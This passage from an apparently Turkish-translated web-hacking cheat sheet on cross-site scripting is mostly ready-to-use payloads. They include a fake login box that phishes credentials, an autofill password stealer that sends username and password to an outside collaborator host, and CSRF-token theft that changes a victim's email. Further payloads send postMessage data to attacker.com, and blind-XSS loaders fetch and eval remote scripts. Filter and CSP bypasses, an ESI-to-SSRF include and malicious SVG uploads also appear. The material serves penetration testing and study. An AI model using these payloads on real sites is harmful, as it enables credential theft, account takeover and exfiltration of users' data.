s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kısa süreler yanıt veren bir portu gösterir Uzun süreler yanıt yok demektir.

Chrome'da yasaklanan portlar listesini buradan ve Firefox'ta buradan gözden geçirin.

Kimlik bilgilerini istemek için kutu

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Otomatik doldurma şifreleri yakalama

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.

Keylogger

Sadece github'da arama yaparak birkaç farklı tane buldum:

CSRF tokenlarını çalmak

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage mesajlarını çalmak

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Servis Çalışanlarını Kötüye Kullanma

Abusing Service Workers

Gölge DOM'a Erişim

Shadow DOM

Poliglotlar

Kör XSS yükleri

Ayrıca şunu kullanabilirsiniz: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Gizli İçeriğe Erişim

bu yazıdan öğrenmek mümkündür ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Brute-Force List

XSS Diğer Açıkları Kötüye Kullanma

Markdown'da XSS

Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirsiniz! Kontrol edin:

XSS in Markdown

XSS'den SSRF'ye

Önbellek kullanan bir sitede XSS elde ettiniz mi? Bu yük ile Edge Side Include Injection aracılığıyla bunu SSRF'ye yükseltmeyi deneyin:

<esi:include src="http://yoursite.com/capture" />

Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşabilirsiniz! Bu teknik hakkında daha fazla bilgi burada: XSLT.

Dinamik oluşturulan PDF'de XSS

Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan botu rastgele JS kodu çalıştırmaya kandırmayı deneyebilirsiniz. Yani, eğer PDF oluşturucu bot bazı HTML etiketleri bulursa, bunları yorumlayacak ve bu davranışı istismar ederek bir Sunucu XSS oluşturabilirsiniz.

Server Side XSS (Dynamic PDF)

Eğer HTML etiketlerini enjekte edemiyorsanız, PDF verisi enjekte etmeyi denemek faydalı olabilir:

PDF Injection

Amp4Email'de XSS

AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenmiş HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara AMP bileşenleri aracılığıyla erişilebilir.

AMP for Email formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.

Örnek Gmail'de Amp4Email'de XSS yazımı.

Dosya yüklemede XSS (svg)

Aşağıdaki gibi bir dosyayı ( http://ghostlulz.com/xss-svg/ ) bir resim olarak yükleyin:

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Find more SVG payloads in https://github.com/allanlw/svg-cheatsheet

Misc JS Tricks & Relevant Info

Misc JS Tricks & Relevant Info

XSS kaynakları

If you are interested in hacking career and hack the unhackable - we are hiring! (akıcı Lehçe yazılı ve sözlü gereklidir).

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated